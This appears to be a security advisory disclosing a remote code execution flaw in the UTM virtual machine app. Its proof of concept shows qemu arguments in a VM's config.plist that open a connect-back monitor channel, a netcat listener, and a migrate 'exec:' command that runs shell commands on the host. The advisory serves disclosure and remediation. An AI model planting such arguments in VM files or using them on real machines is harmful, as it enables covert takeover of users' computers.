UTM: Remote Code Execution Via Unsafe VM Handling

### Summary UTM’s configuration file allows [arbitrary arguments](https://docs.getutm.app/settings-qemu/qemu/#qemu-arguments) to be supplied to qemu, including arguments that lead to execution of arbitrary code. The principal means of achieving this is through the [`-chardev`](https://www.mankier.com/1/qemu#-chardev) and [`-mon`](https://www.mankier.com/1/qemu#-mon) arguments, which together open a channel for remote [control](https://wiki.qemu.org/Documentation/QMP) of the qemu process over various transports including arbitrary TCP connections. It is a [documented](https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-12928) design decision that access to this control channel is equivalent to allowing arbitrary code execution on the qemu host. This can be achieved most easily by using the migrate command’s exec [transport](https://www.qemu.org/docs/master/devel/migration.html#transports), but there are other commands and other arguments that can lead to arbitrary code execution or access by the VM to arbitrary files on the host. UTM does not currently provide any warning that a given VM may have these behaviors, particularly VMs downloaded from the internet. Even without exploiting the [lack of consent required to trigger a VM download and start](https://github.com/google/security-research/security/advisories/GHSA-f385-4x9h-hvg5), a basic phishing site serving a backdoored VM would be sufficient to induce users to import and launch the VM, exposing them to RCE by attackers. ### Severity Moderate - Results in arbitrary code execution on host if malicious VM is loaded. ### Proof of Concept Start with a basic Linux VM image, then modify it to remove all display devices (so it starts in headless mode, with no window to show that it is running), disable Hypervisor.Framework, and add the following arguments to its config.plist: ```unset <key>QEMU</key> <dict> <key>AdditionalArguments</key> <array> <string>-chardev socket,id=mon1,host=localhost,port=4444,server=off,</string> <string>-mon chardev=mon1,mode=readline</string> ``` This instructs qemu to launch the equivalent of a connect-back shell on VM launch, targeting localhost port 4444 over TCP. This could instead target an arbitrary IP/DNS name, or use e.g., the TLS/websocket options for a more secure remote shell. To demonstrate the ability to use this as a true remote code execution vulnerability: 1. Install UTM (`brew install --cask utm@4.4.5`). 2. Download an e.g., Ubuntu VM and modify it as above. Using the URI handling vulnerability referenced above, this could have been initiated using a malicious link. 3. In a terminal, run `nc -vl 4444` 4. Start the VM. This could have been initiated using a malicious link, since the name of the VM is known to the attacker. 5. See the connect back from the qemu process in the netcat terminal. 6. Send the command migrate "exec:<bash command here>" to run an arbitrary shell command. For example, `migrate "exec:open -a Calculator"` will open Calculator.app. ### Further Analysis Desired behavior should include: 1. Warn on VMs with custom arguments that were not directly added by the UTM edit window by the user of the current machine. 2. Add a warning in the UTM VM editor’s argument tab that adding arguments is an advanced feature and you should not add arguments that you do not understand. It is unlikely to be possible to confidently identify whether any given custom qemu argument is “safe” in the long run, so providing an allowlist of “safe” arguments is not recommended. ### Timeline **Date reported**: 01/05/2024 **Date fixed**: Tracked in the UTM project as [issue 6252](https://github.com/utmapp/UTM/issues/6252) **Date disclosed**: 04/05/2024

Severity from

GitHub (reviewed advisory)

• github.com/google/security-research/security/advisories/GHSA-f385-4x9h-hvg5
• github.com/google/security-research